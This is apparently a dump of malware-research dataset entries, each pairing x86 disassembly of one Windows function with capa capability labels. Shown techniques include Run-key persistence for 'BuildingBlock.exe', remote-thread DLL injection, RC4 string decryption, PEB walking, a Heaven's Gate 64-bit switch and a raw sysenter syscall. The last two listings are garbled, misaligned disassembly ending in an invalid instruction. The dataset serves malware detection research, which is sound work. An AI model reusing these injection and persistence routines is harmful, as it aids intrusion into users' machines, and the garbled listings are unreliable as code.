joyce8/EMBER2024-capa huggingface dataset:
Function at 0x668812f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x66881325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x66881325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6688132c
mov eax, 1
jmp 0x66881331
mov eax, 0
leave
ret

Function at 0x66881333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x66881382
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x6688137e
jmp 0x66881392
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x6688138e
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x668814f7
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x668815f0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x66881636
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6688167f
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6688167c
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6688167f
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x66881c40
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6688603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x66886034]
sub esp, 4
test ebx, ebx
je 0x66881c8b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x66881c84
test esi, esi
je 0x66881c84
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x66881c60
mov dword [esp], 0x6688603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x66881e70
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x668841a8
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x66881ec0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x66881f98
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x66881efe
cmp eax, 4
jne 0x66881f20
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x66881f0e
cmp edx, 4
je 0x66881f0e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.66881e70
Function at 0x4028d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c0
call fcn.00404210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edx, 0x38
xor ecx, ecx
mov eax, edx
add edx, 2
shr eax, cl
xor al, cl
mov byte [ebp + ecx - 0x3a988], al
inc ecx
cmp edx, 0x75338
jb 0x402958
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403568
mov esp, ebp
pop ebp
ret
Function at 0x403d98
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403dd7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403dd7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403dd7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403dd7
cmp dword [ecx + 0x74], 0xe
jbe 0x403dd7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401370
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x7fd13c]
sub esp, 0x11c
test eax, eax
jne 0x40146e
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.00402700
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x4013c0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41a100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x4013d0
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41a104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x401405
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.004042d0
pop edi
pop esi
pop ebx
test eax, eax
je 0x401469
mov eax, dword [eax + 0x18]
test eax, eax
je 0x401469
mov dword [0x7fd13c], eax
add esp, 0x11c
ret
mov eax, dword [0x7fd13c]
add esp, 0x11c
ret
Function at 0x401d30
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x401d58
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x401d66
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x401d7f
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x401d8d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x401da6
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x401db4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x401dcd
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x401ddb
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x401e22
add dword [esp], 5
retf
Function at 0x401f70
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x7fc608]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x40211d
cmp dword [0x7fc60c], 0
jne 0x402109
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.00402700
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x401fc0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41a0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x401fd0
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41a0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x402005
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00402700
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402064
sub edx, esi
sar edx, 1
je 0x40211d
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402080
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x40211d
xor eax, eax
push ebx
test edx, edx
je 0x4020b8
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x4020b8
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x4020a1
xor eax, eax
test edx, edx
je 0x4020d2
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x4020d2
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4020c0
xor eax, eax
test edx, edx
je 0x4020ef
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x4020ef
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4020e0
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x7fc608]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x402130
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40217b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x40216b
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x402151
jmp 0x402170
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x4021cb
mov edi, edx
lea ecx, [edi + 2]
jmp 0x402190
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402190
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x4021ac
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402560
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4021ed
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x402260
mov esi, dword [ebx]
cmp esi, ebx
je 0x402260
test esi, esi
je 0x402260
cmp word [esi + 0x24], 2
jbe 0x40225a
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x40225a
cmp dword [esi + 0x18], 0
je 0x40225a
test ebp, ebp
je 0x402215
cmp ebp, eax
jne 0x40225a
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402560
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40223a
cmp eax, dword [esi + 0x18]
jne 0x40225a
cmp dword [esp + 0x10], 0
je 0x40226d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00401190
add esp, 8
test eax, eax
je 0x40226d
mov esi, dword [esi]
cmp esi, ebx
jne 0x4021f3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x403980
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x7fc748
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x403aa9
cmp dword fs:[0xc0], eax
je 0x4039ab
mov dword [0x7fc744], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x7fc62c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x7fc630], eax
movzx edx, word [esi + 0xac]
mov dword [0x7fc634], edx
mov eax, dword [esi + 0xb0]
mov dword [0x7fc638], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x403a0b
push 0x7f
push eax
push 0x7fc63c
call fcn.00402560
mov edx, dword [0x7fc634]
add esp, 0xc
jmp 0x403a13
xor eax, eax
mov word [0x7fc63c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x7fc73c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x7fc73e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x7fc740], ax
mov ecx, eax
mov byte [0x7fc742], 0
cmp byte [0x7ffe0268], 0
je 0x403a5a
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x7fc742], bl
cmp ebx, 1
pop ebx
jne 0x403a74
and ecx, 0xffef
mov word [0x7fc740], cx
test edx, edx
jne 0x403aa9
call fcn.00403980
cmp dword [0x7fc62c], 6
ja 0x403aa9
jb 0x403a91
cmp dword [0x7fc630], 4
jae 0x403aa9
call fcn.00403980
cmp dword [0x7fc62c], 0xa
jae 0x403aa9
mov dword [0x7fc634], 1
ret
Function at 0x4042d0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x40432b
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x4042f0
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x40430c
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402560
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40434d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4043bf
mov esi, dword [ebx]
cmp esi, ebx
je 0x4043bf
test esi, esi
je 0x4043bf
cmp word [esi + 0x24], 2
jbe 0x4043b9
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4043b9
cmp dword [esi + 0x18], 0
je 0x4043b9
test ebp, ebp
je 0x404375
cmp ebp, eax
jne 0x4043b9
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402560
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x40439a
cmp edx, dword [esi + 0x18]
jne 0x4043b9
cmp dword [esp + 0x14], eax
je 0x4043cc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00401190
add esp, 8
test eax, eax
je 0x4043cc
mov esi, dword [esi]
cmp esi, ebx
jne 0x404353
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret

Function at 0x4197b2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x405940
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov cx, word [0x40f3c8]
jge 0x4059c9
inc eax
add byte [edx + 0x4083cc15], cl
add byte [ebx + 0x56], dl
mov esi, dword [ebp + 0xc]
mov word [ebp - 4], cx
mov ecx, dword [ebp + 0x45]
test esi, esi
push edi
pop esp
inc ebp
mov word [eax + 0x5d8d2255], cs
clc
push esi
jl 0x405978
test dword [ecx + 0xc], edi
pop ds
mov eax, dword [ebp - 0x12]
mov edx, dword [0xf7f3bc]
mov ebp, dword [esi]
pop edi
pop esi
push edx
mov dword [ecx], edx
mov byte [esi + 0x40f3c0], ah
mov byte [ecx + 4], dl
shl ch, cl
pop ebp
ret 0xdd0c
mov edi, ecx
stc
mov eax, ecx
mov edx, esi
mov ecx, 0x9300000a
and edi, 0x3ff
call str._____y_attributes___String_to_insert_as_tr_attributes_n
mov esi, edx
mov ecx, eax
test esi, esi
jl 0x405a56
jg 0x4059f0
cmp ecx, 0x81cd
jb 0x4059f3
inc ebx
jmp 0x4059c8
test dword [edx + 0x57f5f7c], esi
cmp ecx, 0xffffffad
jb 0x405a56
cmp ecx, 9
jne 0x405a0f
test dword [ecx + 0x75], esi
or byte [eax + 0x300350ff], ah
add byte [edi + eax*2 - 0x7f], bh
push ds
add byte [edx], al
add byte [eax], al
sbb dword [esi], 0x200
jl 0x405a1d
add al, 0xc1
mov esp, 0xf73d683
mov esi, 0x10758b03
movsx eax, byte [ebx]
mov esi, dword [ebp + 0x10]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp eax, str._3d_c
push 5
push esi
call 0x7f8699
add esp, 0x14
test edx, edi
jge 0x405aa6
mov edx, dword [0x1f40f3a4]
mov esi, dword [ecx + 0x5f]
mov dword [ecx], edx
jmp 0x4059ee
lea edi, [0x188]
pop es
and edx, 0x199
add eax, edx
pop ecx
clc
or dword [ebp - 8], edi
or bh, byte [eax + ecx - 0x7d]
rol dword [ecx], 0x83
salc
add byte [ebx], dh
sar byte [eax + 0x758b1fbe], 0x47
push edx
push eax
push ecx
push 0xfe40f355
push 5
push esi
mov dh, 0xf4
leave
add byte [esi], dl
add esi, 0x18
test eax, eax
mov byte [0x8bc62413], al
or eax, 0x40f348
mov dword [esi + eax*4 + 0x15], esp
test al, 0xf3
inc eax
add byte [eax - 0x3974fbff], cl
mov eax, esi
pop edi
add ebx, dword [ebx - 0x75]
or ebx, dword [ebp - 0x3e]
or al, 0
nop
nop
inc ecx
nop
nop
nop
nop
nop
pop ecx
nop
nop
nop
nop
nop
nop

Function at 0x408b40
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
sbb esp, ebp
sub esp, 0x76
mov ecx, dword [ebp + 0xc]
dec dword [ebx + 0x6a1075]
lea edx, [ebp - 8]
push 0
push es
push edx
mov ebp, edi
sbb dword [ecx + 0x458df045], ecx
cld
mov dword [esp + esi*8], ebp
push eax
mov eax, dword [edx + 0x10]
lea ecx, [ebp - 0x10]
push 1
push ecx
push eax
mov dword [ebp - 4], 0x5600
invalid